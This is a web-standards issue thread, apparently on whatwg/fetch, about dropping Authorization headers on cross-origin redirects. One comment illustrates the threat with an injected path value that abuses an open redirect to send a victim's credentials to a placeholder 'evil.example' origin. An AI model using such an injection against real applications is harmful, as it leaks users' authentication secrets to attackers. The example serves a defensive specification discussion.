Fetch: Drop developer-controlled Authorization header on cross-origin redirects

Created on 1 Oct 2019  路  7Comments  路  Source: whatwg/fetch

User-agent-controlled credentials are only included for matching requests, but developer-controlled credentials will be copied from request to request.

There's a proposal to scope a developer-controlled Authorization header to the origin of the initial request. (If you use other headers to carry credentials you are out of luck.)

This might be reasonably compatible as Authorization is a header that requires a preflight (and does not allow wildcards) and redirects for preflights were not followed until recently.

What's needed to move this forward:

  • [ ] Implementers need to be interested.
  • [ ] Tests need to be written to ensure it's dropped at the appropriate time (and other headers are not).
  • [ ] The specification needs to be updated to account for this. Perhaps by reusing https://fetch.spec.whatwg.org/#cors-non-wildcard-request-header-name somehow.

cc @whatwg/security

needs implementer interest securitprivacy cors http redirects

Most helpful comment

Even in the non-malicious case...it isn鈥檛 that rare (at all) for an application to intentionally redirect to a third party site that isn鈥檛 fully trusted. This behavior seems as scary as proposing a site鈥檚 cookies should be included in any redirect.

All 7 comments

(If you use other headers to carry credentials you are out of luck.)

I'm sure there is a good reason for this, so apologies if this has been discussed to death; is there a thread that discusses the motivation of sending custom-set headers by default on redirects to cross-origin domains? The Authorization header seems an obvious candidate for not being sent cross-origin. But, what if folks are doing stuff like MyApp-API-Token: .....? Intentional redirects to third-parties are not super rare, and it seems surprising/a possible foot-gun to relay all custom headers to another origin without the caller opting into that behavior.

@ptoomey3 it's similar to the body being sent there if you use 307/308 (or 301/302 with a method that is not POST). In general the server receiving all the secrets could relay them if they want.

The threat model here seems to be that the server is cooperating but has an XSS of sorts around its Location header handling. I suppose another solution here could be to introduce a new redirect mode, whereby you can only redirect within the origins provided by the request URL and yourself, or some such. (That would also address the request body issue, potential issues with secrets in the request method, etc.)

I think the threat model is a little different here: it's the application interpolating data into URLs of requests to which the Authorization header is attached.

For example, let's say my application takes the user parameter from the query or fragment, and then make a request to /api/{user}/num_frombles. An attacker will be able to set the user to ../../redirect?url=https://evil.example# and make the victim's browser leak their credentials to the attacker's origin (assuming there's a redirector somewhere in the application, which is common.)

These kinds of injections happen fairly frequently because usually by themselves they aren't vulnerabilities, at least as long as the application sanitizes/validates the data it receives from the server. But in a world where Authorization or other headers contain secrets authenticating the user, this can become a major source of problems. It would be nice to fix this, especially if applications haven't started relying on redirected preflights yet.

@mikewest

Even in the non-malicious case...it isn鈥檛 that rare (at all) for an application to intentionally redirect to a third party site that isn鈥檛 fully trusted. This behavior seems as scary as proposing a site鈥檚 cookies should be included in any redirect.

At the (very real) risk of mentioning what people already know, here is some additional information that might be helpful.

A similar problem was reported against curl as CVE-2018-1000007 (a low severity vuln), which they fixed in v7.58.0 by dropping the Authorization header value when redirected to a different host.

Similarly, the popular Python HTTP client Requests will drop the Authorization header values "if you get redirected off-host".

Likewise the GO-language http client drops the Authorization header on redirection to a different site. The http library seems to use a slightly different algorithm when deciding when to drop sensitive headers.

That said, this behaviour is not universal: there are clients that (like Fetch API with credentials: "include") will always include the Authorization header when redirected. Similarly, I was unable to find a document describing dropping the Authorization header on redirection as security "best practice". This seems to have grown somewhat organically.

Beyond the security implications, there may be some non-security related problems if the Authorization header is not dropped when redirected to a different host. This is because the redirected host might not be authorised in "the same way" (e.g., the same realm). There's no guarantees that the same username+password (or bearer token, or ...) will work.

Including the Authorization can also break otherwise working solutions. Since the server issuing the redirection cannot (in general) influence the Authorization header the client presents after being redirected, a popular choice is to authorise the subsequent request by embedding a token within the Location URL. If the client, when following the redirection, includes the same Authorization header value then the target service will receive two authorisation: the URL-embeded token and the Authorization header value. An example of this is dynafed when configured to mediate access to some S3 storage. It will react to a GET request (from an authorised client) by generating a pre-signed URL, returning this URL as a redirection. If the client also presents the Dynafed credential (an Authorization header) to the S3 endpoint then the pre-signed URL will not work, as the S3 endpoint favours the Authorization header value over the URL-embedded token.

My own use-case is somewhat similar. On receiving a GET request, dCache will generate a single-use bearer token to authorise a specific file transfer and respond with a redirection to a URL that embeds this token in the URL. We currently support both encrypted (with TLS) and unencrypted data transfers. We feel there are situations where this is acceptable to send the single-use bearer token over an unencrypted connection; however, this becomes problematic if the client sends a long-lived credential. Using only TLS protected redirection would be possible if we had a reliable way to detect web-browsers using the Fetch API.

If I may venture an opinion, "Atomic HTTP redirect handling" is a stated goal of Fetch, which places the onus on the API (and the web-browser implementations) to "do the right thing". The current behaviour for credentials: 'include' seems to go against perceived security best practice and would seem to have the possibility to break (seemingly) valid use-cases.

I encountered an issue with this behaviour that struck me as counter-intuitive, but reading through this issue I can see why it occurred. As @paulmillar states above, consider a use-case of an API requiring authentication that if successful redirects to a cloud resource using a pre-signed URL (e.g. S3, GCP, other bucket storage) derived from server-side secrets:

The following _looks_ like it should restrict the Authorization header to the same origin:

// Execute a fetch against a same-origin API endpoint
fetch('/api', {
  credentials: 'same-origin',
  headers: {
    'Authorization': 'Bearer a_secret_value'
  }
}).then(res => /* Do something with data from transparent redirect to cloud provider */)

In the case of S3 with a permissive CORS policy, the actual error returned is that only one authentication method can be used, i.e. S3 saw a signed URL and an Authorization header both of which could be valid in different circumstances, however the header in this case was only valid for the same origin API server. If I block the Authorization header in the CORS preflight response, the request fails anyway because fetch still tries to send it.

As a developer, based on the semantics of credentials: 'same-origin', I would not _expect_ my API token to be forwarded on to a different origin. I would also not _expect_ to have to configure a third party provider to reject my secret header.

I am also unable to manually handle this edge case by intercepting the redirect, based on the answers to Issue #763.

If I may venture an opinion, "Atomic HTTP redirect handling" is a stated goal of Fetch, which places the onus on the API (and the web-browser implementations) to "do the right thing". The current behaviour for credentials: 'include' seems to go against perceived security best practice and would seem to have the possibility to break (seemingly) valid use-cases.

I would suggest that it is the behaviour for credentials: 'same-origin' that is against perceived best practice here, and does break my seemingly valid use-case.

https://fetch.spec.whatwg.org/#credentials:

Credentials are HTTP cookies, TLS client certificates, and authentication entries (for HTTP authentication). [COOKIES] [TLS] [HTTP-AUTH]

The [HTTP-AUTH] reference defines a number of header fields that could be encompassed by the term 'credentials': WWW-Authenticate, Authorization, Proxy-Authenticate, and Proxy-Authorization. Therefore it seems like any use of the term 'credentials' in the spec would be expected to encompass certain specific headers. Truly custom headers as pointed out by @ptoomey3 would not be treated as credentials in any case, and security concerns aside would at least be far less likely cause a collision of authentication methods at the redirection target, by virtue of being somewhat namespaced.

If the intention behind the implementation of fetch is that the handling of credentials only applies to when these are automatically populated by the browser (e.g. cookies), then I feel this should be explicit. However it does leave a gap/bug in the implementation for being able to handle the above use-case.

Was this page helpful?
0 / 5 - 0 ratings

Related issues

jimmywarting picture jimmywarting  路  3Comments

tomayac picture tomayac  路  13Comments

jimmywarting picture jimmywarting  路  10Comments

jovdb picture jovdb  路  8Comments

annevk picture annevk  路  10Comments